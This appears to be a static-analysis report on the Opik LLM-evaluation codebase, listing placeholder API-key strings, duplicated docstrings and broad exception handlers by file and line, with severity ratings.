| CRITICAL⚡ | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1206 | var multimodalMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | STRING |
| 107 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | sdks/python/README.md | 46 | api_key="YOUR_API_KEY", | CODE |
| HIGH | sdks/python/design/TESTING.md | 1008 | export OPIK_API_KEY="your_api_key" | CODE |
| HIGH | sdks/python/design/API_AND_DATA_FLOW.md | 42 | api_key="your_api_key" # Optional: for cloud deployments | CODE |
| HIGH | …/python/src/opik/api_objects/threads/threads_client.py | 96 | >>> client = Opik(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME") | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 84 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 182 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 203 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 240 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 339 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 363 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 51 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 78 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 112 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 140 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 184 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 214 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 251 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 282 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 67 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 116 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 165 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 231 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 283 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 335 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 97 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 157 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 229 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 271 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 309 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 349 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 389 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 461 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 550 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 600 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 626 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 705 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 749 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 790 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 823 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 861 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 900 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 936 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 963 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 990 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1037 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1074 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1119 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1156 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1195 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1267 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1320 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1356 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1386 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1445 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1519 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1570 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1614 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1670 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1730 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1807 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| 608 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ntegration/langchain/test_opik_langchain_chat_model.py | 0 | ``generate_chat_completion`` returns a typed assistant ``conversationdict``. | STRING |
| HIGH | …ary_integration/anthropic/test_anthropic_chat_model.py | 0 | ``generate_chat_completion`` returns a typed assistant ``conversationdict``. | STRING |
| HIGH | …library_integration/litellm/test_litellm_chat_model.py | 0 | ``generate_chat_completion`` returns a typed assistant ``conversationdict``. | STRING |
| HIGH | …ntegration/langchain/test_opik_langchain_chat_model.py | 0 | async ``agenerate_chat_completion`` returns the same shape as the sync path. | STRING |
| HIGH | …ary_integration/anthropic/test_anthropic_chat_model.py | 0 | async ``agenerate_chat_completion`` returns the same shape as the sync path. | STRING |
| HIGH | …library_integration/litellm/test_litellm_chat_model.py | 0 | async ``agenerate_chat_completion`` returns the same shape as the sync path. | STRING |
| HIGH | …ests/e2e_library_integration/adk/sample_agent/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …ibrary_integration/adk/sample_agent_anthropic/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …e_library_integration/adk/sample_agent_openai/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …/e2e_library_integration/adk/sample_agent_sse/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …ests/e2e_library_integration/adk/sample_agent/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | …ibrary_integration/adk/sample_agent_anthropic/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | …e_library_integration/adk/sample_agent_openai/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | …/e2e_library_integration/adk/sample_agent_sse/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | sdks/python/tests/e2e/test_dataset.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | sdks/python/tests/e2e/compatibility_v1/test_dataset.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ibility_v1/evaluation/test_evaluate_dataset_version.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ility_v1/evaluation/test_evaluate_scoring_functions.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …/tests/e2e/evaluation/test_evaluate_dataset_version.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ests/e2e/evaluation/test_evaluate_scoring_functions.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ks/python/src/opik/llm_usage/openai_responses_usage.py | 0 | total number of tokens used in the request (prompt + completion). | STRING |
| HIGH | …on/src/opik/llm_usage/openai_chat_completions_usage.py | 0 | total number of tokens used in the request (prompt + completion). | STRING |
| HIGH | sdks/python/src/opik/llm_usage/mistral_usage.py | 0 | total number of tokens used in the request (prompt + completion). | STRING |
| HIGH | …evaluation/metrics/llm_judges/context_recall/metric.py | 0 | asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous ve | STRING |
| HIGH | …aluation/metrics/llm_judges/answer_relevance/metric.py | 0 | asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous ve | STRING |
| HIGH | …luation/metrics/llm_judges/context_precision/metric.py | 0 | asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous ve | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 0 | async counterpart of :meth:`generate_chat_completion`. | STRING |
| HIGH | …ik/evaluation/models/langchain/langchain_chat_model.py | 0 | async counterpart of :meth:`generate_chat_completion`. | STRING |
| HIGH | …c/opik/evaluation/models/litellm/litellm_chat_model.py | 0 | async counterpart of :meth:`generate_chat_completion`. | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lon | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lon | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lon | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | the sequential version selector for the prompt (e.g. ``"v3"``). | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | the sequential version selector for the prompt (e.g. ``"v3"``). | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | the sequential version selector for the prompt (e.g. ``"v3"``). | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | the environments that currently own this prompt version, or ``none`` if unowned. | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | the environments that currently own this prompt version, or ``none`` if unowned. | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | the environments that currently own this prompt version, or ``none`` if unowned. | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version i | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version i | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version i | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/projects/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/datasets/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/projects/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/datasets/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/dashboards/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/prompts/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | …ython/src/opik/rest_api/feedback_definitions/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/raw_client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| 184 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1362 | except Exception as ex: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 646 | except Exception as e: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1095 | except Exception as e: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1130 | except Exception as e: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1175 | except Exception as e: | CODE |
| MEDIUM | sdks/python/design/EVALUATION.md | 1127 | def score(self, **kwargs) -> ScoreResult: | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 353 | except Exception as e: | CODE |
| LOW⚡ | sdks/python/tests/unit/runner/test_activate.py | 45 | except Exception as e: | CODE |
| MEDIUM | sdks/python/tests/unit/runner/test_activate.py | 42 | def run(): | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1642 | except Exception: | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1671 | except Exception: | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1752 | except Exception: | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1810 | except Exception: | CODE |
| LOW | …/tests/library_integration/langchain/test_langchain.py | 642 | except Exception: | CODE |
| LOW | …ary_integration/adk/test_adk_context_cache_recovery.py | 102 | except Exception as exc: # pragma: no cover - only on a real failure | CODE |
| LOW⚡ | …s/library_integration/adk/test_llm_response_wrapper.py | 128 | except Exception as opik_path_error: | CODE |
| LOW⚡ | …s/library_integration/adk/test_llm_response_wrapper.py | 133 | except Exception as adk_path_error: | CODE |
| LOW | …integration/metrics_with_llm_judge/agentic/conftest.py | 86 | except Exception as exc: # noqa: BLE001 — propagate as skip | CODE |
| LOW | …ry_integration/pydantic_ai/test_pydantic_ai_logfire.py | 453 | except Exception: | CODE |
| LOW | sdks/python/tests/e2e/verifiers.py | 1134 | except Exception: | CODE |
| MEDIUM | sdks/python/tests/e2e/verifiers.py | 79 | def _attempt() -> bool: | CODE |
| LOW | sdks/python/tests/e2e/test_tracing.py | 127 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 199 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 285 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 315 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 481 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 699 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 800 | except Exception: | CODE |
| LOW | sdks/python/examples/resume_evaluation.py | 77 | except Exception: | CODE |
| LOW | …s/python/examples/trajectory_accuracy_judge_example.py | 67 | except Exception as e: | CODE |
| LOW | …s/python/examples/trajectory_accuracy_judge_example.py | 130 | except Exception as e: | CODE |
| LOW | …s/python/examples/trajectory_accuracy_judge_example.py | 190 | except Exception as e: | CODE |
| LOW | sdks/python/examples/trajectory_accuracy_evaluation.py | 183 | except Exception as e: | CODE |
| LOW | sdks/python/src/opik/_logging.py | 76 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment_details.py | 165 | except Exception: | CODE |
| LOW | sdks/python/src/opik/synchronization.py | 44 | except Exception: | CODE |
| LOW | sdks/python/src/opik/opik_context.py | 259 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/jsonable_encoder.py | 108 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 33 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 134 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 151 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 168 | except Exception: | CODE |
| MEDIUM | sdks/python/src/opik/environment.py | 30 | def get_user() -> str: | CODE |
| LOW⚡ | sdks/python/src/opik/tracing_runtime_config.py | 30 | except Exception: | CODE |
| LOW | sdks/python/src/opik/file_upload/upload_manager.py | 49 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/file_upload/file_uploader.py | 41 | except Exception as e: | CODE |
| LOW | …ik/file_upload/s3_multipart_upload/s3_file_uploader.py | 47 | except Exception as e: | CODE |
| LOW | sdks/python/src/opik/error_tracking/before_send.py | 23 | except Exception: | CODE |
| LOW | sdks/python/src/opik/error_tracking/before_send.py | 60 | except Exception: | CODE |
| LOW⚡ | …king/error_filtering/filter_by_response_status_code.py | 30 | except Exception: | CODE |
| LOW⚡ | …king/error_filtering/filter_by_response_status_code.py | 44 | except Exception: | CODE |
| LOW | …rc/opik/error_tracking/error_filtering/filter_chain.py | 21 | except Exception as e: | CODE |
| LOW | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 38 | except Exception as exc_info: | CODE |
| LOW | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 64 | except Exception: | CODE |
| LOW | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 69 | except Exception: | CODE |
| LOW | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 90 | except Exception: | CODE |
| LOW | sdks/python/src/opik/guardrails/guards/llm_judge.py | 107 | except Exception as e: | CODE |
| LOW | sdks/python/src/opik/guardrails/guards/llm_judge.py | 176 | except Exception: | CODE |
| LOW | sdks/python/src/opik/decorator/generator_wrappers.py | 186 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/decorator/generator_wrappers.py | 217 | except Exception: | CODE |
| 744 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | sdks/python/tests/unit/runner/test_bridge_handlers.py | 256 | except OSError: | CODE |
| HIGH | …hon/tests/unit/api_objects/test_opik_query_language.py | 1319 | except ValueError: | CODE |
| HIGH | …on/tests/unit/api_objects/agent_config/test_context.py | 33 | except ValueError: | CODE |
| HIGH | …ython/tests/unit/api_objects/agent_config/test_base.py | 1642 | except Exception: | CODE |
| HIGH | …ython/tests/unit/api_objects/agent_config/test_base.py | 1671 | except Exception: | CODE |
| HIGH | …ython/tests/unit/api_objects/agent_config/test_base.py | 1752 | except Exception: | CODE |
| HIGH | …ython/tests/unit/api_objects/agent_config/test_base.py | 1810 | except Exception: | CODE |
| HIGH | …hon/tests/unit/api_objects/prompt/test_mask_context.py | 45 | except ValueError: | CODE |
| HIGH | …/tests/library_integration/langchain/test_langchain.py | 642 | except Exception: | CODE |
| HIGH | …ry_integration/pydantic_ai/test_pydantic_ai_logfire.py | 453 | except Exception: | CODE |
| HIGH | sdks/python/tests/e2e/conftest.py | 99 | except rest_api_core.ApiError: | CODE |
| HIGH | sdks/python/tests/e2e/conftest.py | 114 | except rest_api_core.ApiError: | CODE |
| HIGH | sdks/python/tests/e2e/test_tracing.py | 127 | except Exception: | CODE |
| HIGH | sdks/python/tests/e2e/test_dashboard.py | 27 | except ApiError: | CODE |
| HIGH | sdks/python/tests/e2e/test_prompt.py | 1490 | except rest_api_core.ApiError: | CODE |
| HIGH | sdks/python/tests/e2e/test_cli_import_export.py | 780 | except SystemExit: | CODE |
| HIGH | sdks/python/tests/e2e/test_cli_import_export.py | 797 | except (FileNotFoundError, SystemExit): | CODE |
| HIGH | sdks/python/tests/e2e/runner/conftest.py | 82 | except rest_api_core.ApiError: | CODE |
| HIGH | sdks/python/tests/e2e/cli/conftest.py | 70 | except ApiError: | CODE |
| HIGH | …/cli/test_migrate_dataset_cross_project_cascade_e2e.py | 71 | except ApiError: | CODE |
| HIGH | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 155 | except RuntimeError: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 199 | except Exception: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 285 | except Exception: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 315 | except Exception: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 481 | except Exception: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 699 | except Exception: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 800 | except Exception: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 940 | except SystemExit: | CODE |
| HIGH | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 1110 | except SystemExit: | CODE |
| HIGH | sdks/python/examples/resume_evaluation.py | 77 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/environment_details.py | 165 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/error_tracking/before_send.py | 60 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 64 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/guardrails/guards/llm_judge.py | 176 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/runner/pid_file.py | 93 | except FileNotFoundError: | CODE |
| HIGH | sdks/python/src/opik/runner/pid_file.py | 83 | except OSError: | CODE |
| HIGH | sdks/python/src/opik/runner/pid_file.py | 168 | except OSError: | CODE |
| HIGH | sdks/python/src/opik/runner/supervisor.py | 281 | except (ValueError, OSError): | CODE |
| HIGH | sdks/python/src/opik/runner/supervisor.py | 410 | except (BrokenPipeError, OSError): | CODE |
| HIGH | sdks/python/src/opik/runner/supervisor.py | 315 | except OSError: | CODE |
| HIGH | sdks/python/src/opik/runner/supervisor.py | 366 | except OSError: | CODE |
| HIGH | sdks/python/src/opik/runner/log_streamer.py | 80 | except asyncio.CancelledError: | CODE |
| HIGH | sdks/python/src/opik/runner/log_streamer.py | 45 | except RuntimeError: | CODE |
| HIGH | …python/src/opik/runner/bridge_handlers/exec_command.py | 203 | except OSError: | CODE |
| HIGH | …python/src/opik/runner/bridge_handlers/exec_command.py | 258 | except OSError: | CODE |
| HIGH | …python/src/opik/runner/bridge_handlers/exec_command.py | 122 | except OSError: | CODE |
| HIGH | …python/src/opik/runner/bridge_handlers/exec_command.py | 126 | except subprocess.TimeoutExpired: | CODE |
| HIGH | …python/src/opik/runner/bridge_handlers/exec_command.py | 100 | except OSError: | CODE |
